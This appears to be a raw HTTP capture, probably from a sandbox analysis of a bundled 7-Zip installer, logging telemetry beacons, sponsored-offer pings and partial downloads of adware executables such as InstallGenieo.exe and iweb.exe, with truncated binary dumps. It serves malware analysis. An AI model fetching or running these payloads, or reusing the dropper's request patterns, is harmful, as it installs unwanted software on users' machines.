x-amz-id-2: ZJ6c4uwySBJUfWEQDyQrRGp2vCGG4COXEGNESG3zucf6Y8tVQui2goxPeDxbVFYy

x-amz-request-id: 27DCBF5AD3392F9C

Date: Wed, 22 Apr 2015 08:21:52 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000171&i=900&n=deploy_ff_start_funnel_step_name&rnd=1429690911 HTTP/1.1

Host: errors.localkeymappeer.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: emvhc8TOwWli1DbzlRDjOf8wfU1ZjENYELB6gMglHm6Yhy13zEgpRB 1ng8kBZaS

x-amz-request-id: 7261AACEED19ACB7

Date: Wed, 22 Apr 2015 08:21:52 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: emvhc8
TOwWli1DbzlRDjOf8wfU1ZjENYELB6gMglHm6Yhy13zEgpRB 1ng8kBZaS..x-amz-requ
est-id: 7261AACEED19ACB7..Date: Wed, 22 Apr 2015 08:21:52 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;....

GET /utility.gif?report=fdata&f=1&c=000171&i=950&n=deploy_nova_ie_start_funnel_step_name&rnd=1429690918 HTTP/1.1

Host: errors.localkeymappeer.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: MkPHkNcyuCAJ2UW7HXvpQPimuL8iu5xGoPMVQdihdK 4Zh1DAg1sslkVdM/ABbat

x-amz-request-id: 9D826778B81D9889

Date: Wed, 22 Apr 2015 08:21:59 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000171&i=1000&n=deploy_ie_start_funnel_step_name&rnd=1429690918 HTTP/1.1

Host: errors.localkeymappeer.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: 6zhEDSJmlQMJLulyjRSsK7 O9zcvjkK6lqzYy43iuZTtUSjLIltgS1kbf7bMZehi

x-amz-request-id: 21E533E02FC0D52C

Date: Wed, 22 Apr 2015 08:21:59 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000171&i=1100&n=deploy_updater_start_funnel_step_name&rnd=1429690918 HTTP/1.1

Host: errors.localkeymappeer.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: ZAKJmXWnbQ52KYqDBsNivl54Yr0vhShXy9lLRwepF/Q5IlcmqUFEfnKVGVK6VQun

x-amz-request-id: 5A7304C6A2948A9D

Date: Wed, 22 Apr 2015 08:21:59 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: ZAKJmX
WnbQ52KYqDBsNivl54Yr0vhShXy9lLRwepF/Q5IlcmqUFEfnKVGVK6VQun..x-amz-requ
est-id: 5A7304C6A2948A9D..Date: Wed, 22 Apr 2015 08:21:59 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;....

GET /utility.gif?report=fdata&f=1&c=000171&i=1200&n=deploy_watchdog_start_funnel_step_name&rnd=1429690919 HTTP/1.1

Host: errors.localkeymappeer.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: Lzcc74Fb2OEcIZb/TSYKCGgKdoLfoJMHC6DClhVnXRaLB3Ezw9KdOjpQNHPwyGWp

x-amz-request-id: DE24F1D2A968AAD3

Date: Wed, 22 Apr 2015 08:22:00 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000171&i=10000&n=deploy_end_funnel_step_name&rnd=1429690919 HTTP/1.1

Host: errors.localkeymappeer.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: NChfWAFqFmxjyiIrLcU4dRcvXIi8gk5StqBTy126hLXjFd3KO1BkFfh7xvbpeoxD

x-amz-request-id: 2855C2C4BE5CE21D

Date: Wed, 22 Apr 2015 08:22:01 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: NChfWA
FqFmxjyiIrLcU4dRcvXIi8gk5StqBTy126hLXjFd3KO1BkFfh7xvbpeoxD..x-amz-requ
est-id: 2855C2C4BE5CE21D..Date: Wed, 22 Apr 2015 08:22:01 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;..

GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=b09e9cabd4f5904a8751fabb44d764c3&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=swiftrecord&tokyo_csrf2_key=5df8714340d05f0ce07c7cf881e49ca2&tokyo_csrf2_timestamp=1429690888&slot_number=2&index_in_screen=1&index_in_session=2&display_height=170&0.047468491246051625 HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awde7zip53656/7zip/b09e9cabd4f5904a8751fabb44d764c3?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: installer.filebulldog.com

Connection: Keep-Alive

Cookie: __utma=1.740709646.1429690889.1429690889.1429690889.1; __utmb=1.1.10.1429690889; __utmc=1; __utmz=1.1429690889.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 22 Apr 2015 08:22:07 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 22 Apr 2015 08:22:07 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /sd?is=sm HTTP/1.1

Range: bytes=65408-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.theswiftrecord.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SwiftRecordSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP001C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Thu, 23 Apr 2015 08:20:10 GMT

Date: Wed, 22 Apr 2015 08:20:10 GMT

Content-Range: bytes 65408-523263/523264

Content-Length: 457856

Connection: keep-alive
N...F.M.||. Rx..?.Nr{.F.f9`.l....;f.....x.B..-....K<.v...B.X.$o....
..9..G.5.........D.~OO4=.........)....Nw.r.."szP...(.m.{.._qY."...X|X.
`w.14.........d.`...`..`..dQ...;.8...$.F... f8][email protected].
w,.....}U........cqm..:.J..X.D.1B.6g....<....@`G-d.....WM:..K/e....
...R..T.....<....=._.k....V.j..b.[........o.......L.dmK.....Qt..D).
...X......0.!..h.....4..n.`..m........... |[email protected].
*u.Q..x.fc..m.|....A.y...............Q1.........C..i.......}....U..5!.
.c..g.^....d.$.*..v...../Z ...i.8..>59...&.?...%...(!&g`.8W.h...\..
.....e..)7.....M>....xg..b.^7.r...k.....Z...j%$....<?....8"7..uy
.r3^[email protected]....>.3......Q.M.O....._....
..gO....F...Br....sR..X. ..K..A.|[email protected].....(..~8H.....Lf...kg.....
Q.:.....T.5.N.7..6U........%..0X...2vx..H..O...=..hcU.0L.>..;O0Yf..
.6.hM...6V....>..J..lTU...v8./.......S...........E..)..D..L...p.q..
.......wB..;.B...I...d...p7.}.UY...*KT%".J....q}6.Y: .x.e.L..bx....6..
..y.OFuB.s.6...r... ...-.....P^W.../.V..&6..2..d|wHce~.."'a1.......VB.
.....U........B.9..........b....~.t.b....R..o!G.......}.......@:.&....
.V.Y"o:9'2.%.GQo.d..S....a.....9..{du.O.......q..%. .=..._4.S....~n...
t...K.W....`.x,..*.n[..k<..ik-..1o....x5N....1^g..8p. .X]t\.../...'
.....?.P......n....$_.....`L..cs...l..rk.rE:.....F...X/..p.=..D...0fd.
. .....&G...!...!A...........\[email protected].]t.B_K.*.
.....s...XW^.. ;.\L......k=5l...EZ5..R.h....k.8h..BKB].....@V... Kg0..
....I......e"w.,r*.v. ..V.....S.7.`.H...;..*)...6..%..... .o.!Q...<<< skipped >>>

GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=6f9bf9cef49cde4880978c5eccca4dc0&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=web2mob_messenger_for_android&tokyo_csrf2_key=267b5acad1022173fcd5460d52948e54&tokyo_csrf2_timestamp=1429691030&slot_number=2&index_in_screen=1&index_in_session=2&0.33195344750229993 HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awde7zip53656/7zip/6f9bf9cef49cde4880978c5eccca4dc0?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: installer.filebulldog.com

Connection: Keep-Alive

Cookie: __utma=1.740709646.1429690889.1429690889.1429690889.1; __utmb=1.6.10.1429690889; __utmz=1.1429690889.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1; __utmc=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 22 Apr 2015 08:24:43 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 22 Apr 2015 08:24:43 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /app/ping.ashx?e=CwD9X8OFGaJFwtfIvB/2Us4J bVAgFaZYvzGyT3Jwp3SbXk6DnoEFqJbxJt93KfO0bQiG/eg2Z0ekaCddE1NLOgga322f3p0vV57xa3n n4xLHUkaU0662DlNcv2CDURqIv75/Ca75p3dLO3htDFEeMMWr5 TJ2MF4rjDLtFkGZI7/t7pTWD95fGsaHjTJJ ntWVBNj6peZ/Lad3Y6gE1ZlxWTdtZreIwlv5Qh OtHGaiLQITrgk88z/1U/hhGLO94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjnH72/SGLqiOX lStajyhrtV0y3FhG5nSWLgeb09PU5GTNRcMpAwcBWJe5zAgPj7sZ99y fIOVX74eIUR 7mnwjewCD58w6u8xhditMmkCk0A== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: rep.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 503 Service Unavailable

Content-Type: text/html

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Wed, 22 Apr 2015 08:21:36 GMT

Content-Length: 27

The service is unavailable.HTTP/1.1 503 Service Unavailable..Content-T
ype: text/html..Server: Microsoft-IIS/7.5..X-Powered-By: ASP.NET..Date
: Wed, 22 Apr 2015 08:21:36 GMT..Content-Length: 27..The service is un
available...

GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: download.genieo.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

x-amz-id-2: MUnCO1lmEtn8 OcE7fGAQRpvb BwSjv/YUA1hCHL6r9NyYc1SCL0zGb i/k0YTLJ

x-amz-request-id: E03A0E984241D1FA

Date: Wed, 22 Apr 2015 08:23:53 GMT

Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT

ETag: "d65611fbc4da8cea4e886076bec82d1e"

Accept-Ranges: bytes

Content-Range: bytes 0-988407/988408

Content-Type: application/octet-stream

Content-Length: 988408

Server: AmazonS3
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
.........P...............`............................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc...P............v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET /spd/shopp/iweb.exe HTTP/1.1

Range: bytes=0-249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Wed, 22 Apr 2015 08:21:25 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1429686143"

Last-Modified: Wed, 22 Apr 2015 07:02:23 GMT

Cache-Control: max-age=2464

Content-Length: 250000

Content-Range: bytes 0-249999/12373348

Content-Type: application/x-msdownload

X-HW: 1429690886.dop007.am4.t,1429690885.cds051.am4.c

Content-Disposition: attachment; filename="iweb.exe"

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......PE..L......P
.....................n......-A............@...........................
......./........ ..............................p..........(C..........
......................................................................
...........................text...<........................... .0`.
[email protected]$.......&.............
[email protected]@.bss..................................0..idata.......p.......
[email protected]... ....... [email protected]...(C.
[email protected]..........................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U..WVS.......U..E....t.
..F........T.D..H...H.......M..E..5..D..D$...$...tE..M..E.....SS...E..
.$.D$... uE..M..E......M.WW......M.)..M..NT....NP........E.....}...VT.
.......FP..E........}..VP........U.......FT.............}..........E..
M...$..|sE..E..R...D$..E..D$...$...uE.....<$...sE..E..Q.}.;}...Q...
.~X........F4..$...sE...W..........$.E......E......D$........sE.RR.FX.
.$.D$....sE..5.sE.QQ..$.|$...RR...E...$..|....D$. ....D$..D$......D$.\
.D....tE...|.......T$...$..QQ.<$...sE.S.M..E..D$...$...uE.PP1..

<<< skipped >>>

GET /spd/shopp/iweb.exe HTTP/1.1

Range: bytes=500000-749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive



.G.,....Y.. .....Y}..h.c..18L.3v..x&.u..T..........K.,..O.8......7{T..
.;.>....j]...G|..{..`=.!..dLy.......MN.I.m.z..b**h..7..Y....".x.'.~
..=IK{zF.M....-.`Y........c.=..AR!*..K...I.y.9....k...#<c..Z1~;R.z.
....z2....ykNv..|....I....8&.....z]..Y.U.........B[.."w...P...)..RDJh.
..N#......4 =...f.K.se`....|.......sS.y..W..,..p..._.......G..;...P...
O...X...a...L..=.{.J.(...c...#^....}:....C....[..............i)T.MT...
..Y.,c.......?.7.nW..<Id..W.5...sL.|Ij...o...H......Q..6..%..@Eb...
wn..L.A....T....u.......&.`...S.(=...E.\.'..,.~...^.L....b.0.m.3...U.=
..-......B.F.a..?..).~.....l....jq..rN..t.....Qz;.m..R.C./.....)......
...5...<B...x..~{....S.s....}.b...^......X%[email protected])...
..u..G.(..{."V.....8.... ..........\.GXc.$.......K.B.<uBi.....;..C.
...Eiw...S.]...4...}i..PUa2Ix.FM.Pk.=.j</.[.......d......E7(.x..vh.
..Q..nF1F...N.k.i.".w.m..$...................v.X~;...#...9.`j..D..{.m\
.L...o.$^(.....\.5x....`n.E...o..*..{..'......k......h..o.h.`..$.%..&g
t;[email protected]....#4..g.....W..2...570...70;..4(... .....3t^uy|3.O
mg...T........}..3.$B..g..6.">..T....1...Hw...`..=.J.o.......v9.;.h
.RxKN..D8.G[...7..} .9.tB}..oL...g%......T...:9....nU...,&.....S..!...
T_:.2...........PQ.......zZD(.b.....*... W.....A.j....8......hXmk..O..
 .T.._.m..S.uq$i.&K........j..xN..}.`.[...##-..F.u..D5.4. .R.3..[.....
.Ern..#`z[..3....86...WQo.d.m.$.vsb........w.$.]U.`$4.xG_ .........P@[
...D..*..Cc...X.....;....]..Q...ji.....,j?^..._..`..m)]%..m,.V.S...\*.
.94R.....D:.[.....2D.....~.. .*Q...J...@L..... ...d...v..P.....Vb.<<< skipped >>>

GET /spd/shopp/iweb.exe HTTP/1.1

Range: bytes=1000000-1249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=1500000-1749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive



Fv0a!.|1}..,.).o...8.w...7.;%.\@.HT.?bV....[.....v..h....._(.=.|..W...
JT...vLP>.o...3.q..-..cF......Pi./...FqlT..i}.U.7...2..^.D3<..=.
s&j>..........A~.x ..m.s.#J."]4.8...e..n....3c......W...|..G.e.....
g.O7...A...<b7C.x...j9N\.."..EH.....)7.lQp&..6?...L..>.0.d\.....
.I...L.H.H.1.A0......8eb.........E.F_..."k\l,.j..zL%/......?.@{.~..i..
>.F..T..C7.ac*...M..,.ZE.a.m.e../.^......j*,2.;.Z.......Q...J9sR ..
[email protected]#.NP&..-.....M3..Y&.B
...U......~Ex...c.8.%..>.8r.0*...9......V..M.YT...4....op.L.Q.7....
.P/Ia.q.=...Y..U..?... N....M.!(.r2..W.s.....gET..F....E.[.P)[email protected]
.ou.XLK... ....EH...dj_g.p.o..X..PN..."l........*..2... Q.yY.6r..%.x;.
..-.qB...X...?.?..e.*.~..\...S.!...{=v...E....m..........H.T..g.J.H...
...!/...O~.aU..[.G....y...\D...l.O..J........9..O..)...[..p....Sp.8...
.r......=..%.>.. ,.c!....[t.\2P.I..<......4X`........T.e.[.1l.`.
..-....9.>(.`Z.P.C...F}^[email protected].~..l[. T..{.= ...r.. _.P..pf%^...e..R.
*.8....P,y3p..............{a<R.Q..8.o.....?. .....Y.....*..[.....\\
o8=.....D..........3.......r...K..JT\..9=..P-A/..[b...>.u.o..'K._..
7Q.$..R*>....Hk....../vv..........@ RM6%[email protected].
....o.Py..E%..lD.h..J..\E<....&h.:...x.....v.flV/.-.-(...Rt.{..}?.u
...2.N.Gd..|.oA....0.T.1,.9..._.Q|p...(./.7..\.c.A.........n...f.a....
..Tsk/.....& .Q;_...F{.N..R)Y.o...C...T..!....Bw...u..:hL>....2..ym
JK....!..I]w.kL6 ..;.......cb...Re...J...3...}...<H:A]d..r.iA....j=
|]...{....).:..g...)b..J....=...... CI....7.........)..!G...`..1z.<<< skipped >>>

GET /spd/shopp/iweb.exe HTTP/1.1

Range: bytes=1750000-1999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive



.....hJ.f..Vj...n,/.M..ya...,.!.w..5.3..A.Gw.....E.._@...\-1.#.:nO.,].
...a...........\0........'...y.....:..b..`.>.....X...%.$?........z.
..\&n.g\I7S.`.=.......g..W.H......3!......(..0?..g<.z.Z..Xt.ed....N
.M.....I.{.WUo..1.....?.m_..Z................,.\%zi....!..E.M..LDk.c.r
8>...].)16.c..9<.....CA..s....... ......C..o.....%.D9K.^"^....4H
..$B...D..O}P..|.......?.R.0.....Rj%...~...-.C(.=..k..M...?7.=..}.rEd.
.....2...u.....8...i.sy.z.=f1@{[email protected]...
..nW ...s.:`&a?~..%..o.>...w6.-...>.cJ}.....9...,.I...`..g..p...
1..v....LI....,.DU....7"..%...^.Z...c.C..=.g.}F.....S}ix..B..o.K.}....
.....P.N.....?$...!...].K..........hh.....</JSk..Uh....}R2.o,.9.K.=
..../.y...`O1..............v.L>....nlb..%....!...P.............4nB#
z.;.VPFX$=.,.t(Gm...jx...P.l.....v.#py.9l:...Z..n^..k. .....`.1.w.....
$....aT....e....J...{u.G$.e#.S..].....sv&P../...l....z..qW;...V...o.c.
.W.EB...p5X#DE<..#paH............M..B....B1w.......>....8...C..n
..f...@....=.......{......p....Ht;......k-..@%.Y.._..ZJ.A.....5..-t.Z.
...b.Yn.j...........#Q....]..4'"..9K.;|X.m.EQ..Y.].`.H.F..C^m.......n.
:....S............syU..D..>....,.a..7....t>.......`.*.Cm.....!.F
e.3ds[....-.k.V3s.M..G.v.......Qt..z.........XN.Y\......L..B...<;..
..S.V.`.-..`.....[...dXs.)..B).D....L!L2F...F.t.1n...|L.9........=....
. ....r`."0..5.....`.l....`.C Ui...$...F.(^..k[.C.Wj.'..._.q......:.. 
-m.s0.F./.7..KUHS...qk|..s;..I`i....W.......G..(Bz.....*...E..7..A..V.
.s$........q{6.3Xi.......%&.....6y.^.q..Sc...i.'....../.....:.T..&<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=2500000-2749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Wed, 22 Apr 2015 08:21:27 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1429686324"

Last-Modified: Wed, 22 Apr 2015 07:05:24 GMT

Cache-Control: max-age=2643

Content-Length: 250000

Content-Range: bytes 3750000-3999999/12374724

Content-Type: application/x-msdownload

X-HW: 1429690887.dop007.am4.t,1429690887.cds060.am4.c

Content-Disposition: attachment; filename="sense9.exe"
.)..E?.Xu.....;^y.>...8K....5....t."gK}..pNTZoGUfuLRiz%[email protected]..
P...........t/S.7.-..<Wq..)..f.zuBDz..}b(........c..l....~.O^U..b.2
c14.w.S........0#.9......|.*0U....i...a..32&.`.&?C.a.{.*?4.....9......
..Q.q.d.do.....?..!B<.)............|..U....w.!..?...W./Dz..cRO...Lr
M.xp....P...O.V...A....{....}.q.C."..\&/....p..`Ql.R....N%Co...v..X...
u.2..X..6h.m...-...f... ..2...Ihu.@..!.<.dX.H.............d.Bs$(...
5....1.. ..qxp.._.C....(..}..~.C.......S.V.R....a7 ...a.*.pj....._....
........'...9.............7Q".qt5..b.=A.g.a~.%Rj?.J......<.Sr...vq.
.....mD....Z.4......k....k..Z..5....~i....&.....%[email protected]..!......
.J....u7.............A!oA.|>Y.@.&_.7.w...x.FO7?...vst.....[.].[&.).
.....=....2...#....?....'..j...|1...j....u..\1~...C.`.....^I.0`.y.B,..
...3$.V.1....fV....S....6.;.......w.i....4.xS.".8:..r.. Z...v....K....
f..u.8.E.....q.._.....V...>...n.;.2.3.i.....YC#;.a...5.....ld.Ch"Og
..d....jA. u...t.>*[email protected]......#.Bt@6.*[email protected]......~~3k..M...
6i|.7..!.WT.O..$F..H...b...[........8.vI....^....t..#......|.6..~...ls
.6r[W.`&.6e..%5.5A..r..._. ....{...0....H..bY..4......l .!........1428
%..*^gsd^.[...j..Z.........7....f.....1[_x.6....1*.G......7l;....(Uv..
..U....)%^_P..WG..........t.6...].........R.......Y.....l.S....'.4-.9.
v.....nR..X...."... K.."......E.|....:.q...2.%z.....O6.H....r........)
gP..$...JP#.B\..4..SxvS..V.K8F..I....\p.........0Bh.4....' L.v:.BiS.-.
".......<bSe^Ih.."...=.c....V.:.3...t4.w..V..$!.Cm.1...S4..R...6I..
....j......<.....Kq7.wV.$..5`_....RdY..%..$z....,..{U..d..:...R<<< skipped >>>

GET /spd/shopp/iweb.exe HTTP/1.1

Range: bytes=4000000-4249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive

GET /spd/shopp/iweb.exe HTTP/1.1

Range: bytes=4500000-4749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive

...

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=4750000-4999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Wed, 22 Apr 2015 08:21:28 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1429686324"

Last-Modified: Wed, 22 Apr 2015 07:05:24 GMT

Cache-Control: max-age=2642

Content-Length: 250000

Content-Range: bytes 4750000-4999999/12374724

Content-Type: application/x-msdownload

X-HW: 1429690888.dop007.am4.t,1429690888.cds060.am4.c

Content-Disposition: attachment; filename="sense9.exe"
..C.......y.m&.lS..w...#._...V....x2.)....9..g|.Fo..xS^.....3."..>.
...7C(X'..q.....&.J). ......*..p_c.e. .!._R....t].... ...ZJ4'.'Q.(J!N.
....S..a..OC9..B.c.(.Ikl.dOyW.g...Y.,..k......i.*.8&.fD.v\|Sg!..R....8
F..x.....?..4..zb...".....[p.....K....k.2......C.....>( ......{,i.H
I...4"....9.g..s..AOK.,z.....?.......Y.M#.[0....,r..nH...;7..6h0.l?...
!AM.....=.7.....1..G..&.....u...3.:O\.U..1&......f....w.?A.......E.yn.
sa...L.\z.....YX........."......U....o....r....l.B.8%f..;T.o..a.....|.
:rTT.'..#El.....Y..S..RY.@......... 1.....$.t....'1.... ..MQ(....`....
..Y.. s.0..e..x........t......U.Q..=......m..l.[...E..x..O.....A.. ...
=1x..!.....<*...[..... .....G.M.....;....:...z.E..q'[...EQ;...;.c..
..>u..].....8..C....w..o...._5.#... ..C.....k..b...sR..........>
....*fpV....(....|.y."..8.=.^.17..6.........)T..E..z...c..z.U..m/.Qw.)
.........J.....uA......3..}...w&?3Mr....h|.(.......X....r...). 9.,.I1.
.M....Ma....=.U....*.O.y.....Z..Z..<.,[p...A...a..^5.>...~nK&.=.
..&..H..=u...k&oz.`...V.._.............Q(o...)...sc$.r.'.].5..GvT.....
..K.1Q...-...........kJ.R-#.....^.p-'<.....}........m&[.$=E..{=..`.
.(K0.[..>...O.....G....f....0.v.t.........?.|.D........*.^[email protected]..
......M.....5..<ll....<.eT..oD....7.p.KW.4.3.<b............k.
.84)L.5#.=.\...|f.A..!.~. ...|W.V....Ik.F.}>..~U..<.nd..m....S..
BHw6..L3F>.T.D.....J.....G. H.z...4...W.u..~s....,.bf7g.SB$...@1.|.
7.4.....=z..<.}..#....Ri......A)C,4`Z..J..d``Th......X..........k&g
t;)p...{.f.....3"qq...........}......rx..r.........."M....Hl,..u.t<<< skipped >>>

GET /spd/shopp/iweb.exe HTTP/1.1

Range: bytes=5750000-5999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive



